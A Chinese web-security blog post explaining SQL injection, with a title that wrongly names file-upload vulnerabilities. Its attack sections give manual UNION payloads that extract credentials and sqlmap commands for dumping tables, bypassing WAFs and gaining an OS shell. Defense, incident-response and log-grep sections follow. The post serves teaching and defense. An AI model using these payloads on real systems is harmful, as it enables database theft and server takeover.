文件上传漏洞利用与防御指南

爪 爪
爪 爪
爪 爪
编辑
50
文章
0
粉丝
信息安全260字数 818阅读2分43秒阅读模式
AI智能摘要
你以为给网站加了防火墙就高枕无忧?2025 年某电商巨头因一个搜索框被拖库 50 万用户数据,罪魁祸首正是你代码里那行看似正常的 SQL 拼接。大多数开发者还在手动过滤字符,却不知攻击者早已用“时间盲注”绕过了所有检测。从手工构造 UNION 查询到 SQLMap 自动化拿壳,这篇文章不仅还原了完整的攻击链路,更藏着一套让黑客无从下手的参数化防御逻辑。若不想成为下一个头条新闻里的“受害者”,这个能救命的编码习惯你必须现在就看懂。
— AI 生成的文章内容摘要

一、什么是 SQL 注入?

2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险
文件上传漏洞利用与防御指南
SQL 注入的本质:用户输入被当作 SQL 代码执行

1.1 漏洞成因

// 危险代码示例
$userid = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $userid";
$result = mysqli_query($conn, $sql);

当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据!

1.2 注入类型

类型 特点 检测难度
联合查询注入 使用 UNION 合并结果 容易
盲注 无回显,通过响应时间判断 中等
报错注入 利用数据库错误信息 容易
时间盲注 通过 SLEEP() 延时判断 困难

---

二、实战:手工检测 SQL 注入

2.1 基础测试

# 测试点:搜索框、URL 参数、表单输入
# 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2

判断标准

  • 页面正常 → 可能存在注入
  • 报错 → 可能存在注入
  • 页面异常 → 可能无注入

2.2 联合查询注入

# 判断字段数
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
# 当 ORDER BY 4 时报错 → 字段数为 3
# 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位
# 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()--
# 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--
# 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--

---

三、自动化:SQLMap 使用指南

3.1 基础扫描

# 检测注入点
sqlmap -u "http://target.com/page?id=1"
# 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables
# 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
# 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

3.2 高级用法

# POST 注入
sqlmap -u "http://target.com/login" --data="username=admin&password=123"
# Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"
# 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
# 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell

---

四、SQL 注入防御方案

4.1 参数化查询(推荐)

// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

4.2 输入验证

// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
    die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);

4.3 ORM 框架

// Laravel Eloquent
$user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);

---

五、应急响应:发现 SQL 注入后

5.1 紧急处置

1. 立即下线受影响页面
2. 修改数据库密码
3. 检查数据库是否被篡改
4. 分析日志确定攻击范围
5. 修复漏洞并重新上线

5.2 日志分析

# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn

---

六、总结

SQL 注入防御核心:永远不要信任用户输入

防御优先级

1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试漏洞挖掘、安全防御
发布时间:2026-04-27

历年同日文章
4 月
27
 
爪 爪
  • 本文由 爪 爪 发表于2026年4月27日 16:41:56
  • it2021
  • it2021.com
  • shell
  • 代码执行
  • 应急响应
  • 渗透测试
  • 漏洞利用
  • 漏洞挖掘
评论  2  访客  2
    • 黄鹤楼影
      黄鹤楼影 1

      参数化查询这个方案确实靠谱 👍

      • 黄包车
        黄包车 1

        hhhh敢贴payload的才是真大佬😂

      匿名

      发表评论

      匿名网友

      拖动滑块以完成验证